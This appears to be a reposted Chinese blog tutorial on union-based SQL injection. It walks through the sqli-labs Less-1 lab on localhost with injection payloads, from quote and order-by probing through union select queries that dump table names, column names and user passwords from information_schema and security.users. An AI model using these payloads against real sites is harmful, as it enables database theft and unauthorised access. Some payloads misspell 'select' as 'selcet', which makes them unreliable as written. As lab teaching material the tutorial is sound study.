二、SQL注入之联合查询

这篇具有很好参考价值的文章主要介绍了二、SQL注入之联合查询。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、SQL注入原理

  SQL注入(Sql Injection)就是Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。

2、SQL注入的两个关键点

  • 参数用户可控:前端传入后端的参数内容是用户可以控制的。
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

3、SQL注入的危害

  • 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。
  • 在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

4、SQL注入基础

4.1 MySQL相关

  在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

4.2 SQL注入流程:

  由于关系型数据库,具有明显的库/表/字段/字段内容结构层次,在对SQL注入漏洞的注入过程中获取数据库信息的时候,也可以按照这种顺序:

数据库名 ⟶ \longrightarrow 表名 ⟶ \longrightarrow 字段名 ⟶ \longrightarrow 字段内容

  手工注入流程:

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

(1)判断注入点

  • and 1=1 / and 1=2 回显页面不同(整形判断)
  • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形、字符串类型判断)
  • ’ and ‘1’ = '1 / ’ and ‘1’ = '2 回显页面不同(字符型判断)
  • and sleep(5)(判断页面返回时间,万能)
  • 在SQL语句中,and的优先级比or高。
  • SQL语句注释:# 或者 --[space] 或者 --+

(2) SQL注入分类

  • 根据注入点的数据类型,可分为:
    • 数字型注入
    • 字符型注入

❗️❗️❗️二者最大的区别在于:字符型需要闭合,整型不需要闭合。

  • 根据数据库执行的结果,可分为(四大基本手法):
    • 联合查询
    • 报错注入
    • 布尔盲注
    • 延时注入
  • 根据数据提交的方式,可分为:
    • Get注入
    • Post注入
    • Cookie注入
    • HTTP头部注入
  • 其他注入类型:
    • base64注入
    • 宽字节注入
    • 搜索型注入
    • 读写文件

5、联合注入实例基本步骤

  联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNIONUNION ALL

(1)寻找传参页面,http://xxx.com/index.php?id=1

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

(2)判断注入点,127.0.0.1/sqli/less-1/index.php?id=1'

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

可以根据报错信息判断:如果是字符型注入,应该闭合什么符号,此处是闭合单引号。

(3)判断字段数量,order by命令,127.0.0.1/sqli/less-1/index.php?id=1’ order by 3 --+

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

1后面的‘是为了闭合SQL语句中的引号

(4)判断回显位置,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,3 --+

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

(5)查数据库名,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,database() --+

database():查看当前数据库名

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

(5)表名

  • 查表名:select group_concat(table_name) from information_schema.tables where table_schema='security'
  • information_schema.tables:指定information_schema数据库中的tables表;
  • table_schema字段:保存所有的数据库名;
  • table_name字段:保存所有的表名;
  • group_concat()函数:输出所有属于‘security’数据库的所有表

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

(6)字段名

  • 查询字段名:select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

(7)字段内容

  • 查询字段内容:select group_concat(concat(username,'%23',password)) from security.users

concat()函数:拼接。例如:
concat(‘hello’,‘+’,‘world’) ⟶ \longrightarrow 输出:hello+world

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

二、SQL注入之联合查询,渗透测试实践,sql,oracle,数据库

6、总结

  sql注入的基本流程:文章来源地址https://www.toymoban.com/news/detail-665961.html

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

到了这里,关于二、SQL注入之联合查询的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 渗透测试-SQL注入之宽字节注入

    宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。 转义函数:为了过滤用户输入的一些数据,

    2023年04月08日
    浏览(23)
  • sql注入中的union联合查询,union select 1,2,3

    (此文章是记录本人对知识理解的随手笔记,内容不肯定百分百正确,如有错误望指出并谅解) union联合查询是为了判断SQL语句中哪个地方可以被代替,代替的地方是可以在网页上显示出来的 { 例:若 select 1,2,3; 中的2这个地方可以被代替,我们就可以通过一些SQL语句或数据库函

    2024年02月08日
    浏览(43)
  • BUUCTF-sql注入联合查询的创建虚拟表-词频-steghide的使用

    第七周第三次 目录 WEB [GXYCTF2019]BabySQli [GXYCTF2019]BabyUpload Crypto 世上无难事 old-fashion ​Misc 面具下的flag 九连环 这是一道很新的题目 我们打开环境 发现登入注册界面 先看看源码有没有提示 发现有一个 php文件 进入看看 发现加密 先base32 再64  发现就是很简单的字符型注入 开始

    2023年04月13日
    浏览(42)
  • 渗透测试-SQL注入之核心语法获取数据库信息

    SQL实验室第一关 下载sqli-labs到phpstudy的www目录下 打开localhost/sqli-labs运行即可 (1)注入语句 ‘~’ 相当于16进制的0x7e 万能密码 \\\'or ‘1’ =\\\'1 ’ and ‘1’=‘1 ’ and 1=2 union select 1,user(),3- -+ 前面加’是为了闭合后面的’ (2)group_concat(string) (1)SQL手工注入方法 select schema_name

    2024年02月10日
    浏览(29)
  • 渗透测试模拟(使用sqlmap进行sql注入漏洞判断,利用该漏洞进行挂马)

    环境:对某网站进行渗透测试。 (PHP+Mysql开发的网站,用于WEB漏洞教学和检测的) 工具:sqlmap(Kali Linux中自带or官网下载Windows版) 此次实验所涉及的sqlmap参数: 一、信息收集 二、漏洞挖掘 (1)判断网站是否存在sql注入漏洞 使用工具,sqlmap: sqlmap -u \\\"目标网站地址\\\" --ba

    2024年02月15日
    浏览(36)
  • SQL注入之union 联合注入

    目录 一、union查询的特性 1.1、特性-1 1.2、特性-2 1.3、特性-3 二、union联合注入 2.1、让sqlib的Less-1页面显示出来2和3 2.2、MySQL中的一些函数 2.3、MySQL中的函数和union的联合使用方法 2.4、group_concat()函数 2.5、使用union和group_concat函数进行sql注入 2.6、分析注入过程 2.7、使用union获取

    2024年02月08日
    浏览(82)
  • web渗透之sql注入

    博主姓名:摆烂阳 博主主页面链接:传送门 新人入圈,希望博主的内容可以给大家带来帮助,有任何问题可以私信本人 摆烂阳从不摆烂滴 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先

    2023年04月08日
    浏览(27)
  • 安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

    目录 一、sql注入原理  二、联合SQL注入的方法 1.总体的思路 (1)先进行闭合,进行报错 (2)进行逃逸 (3)外带数据 (4)获取库名 表名 列名 数据 (5)获取当前数据库中的数据 2.SQL注入测试 (1)先进行单双引号闭合,让页面出现页面报错 (2)然后看有几列,有两种方

    2024年02月13日
    浏览(24)
  • SQL高级篇~联合查询

    以下是一些关于 SQL 联合查询的详细信息: SQL 联合查询的基本语法如下: 其中, table_name1 和 table_name2 是要查询的表名, column_name(s) 是要返回的列的名称, UNION 将两个查询的结果集合并在一起。 在联合查询中,两个查询的结果集的列数和列类型必须相同,否则会导致

    2024年02月05日
    浏览(38)
  • sqlmap 是一个自动化的 sql 注入渗透工具

    一.介绍 sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执

    2024年01月23日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包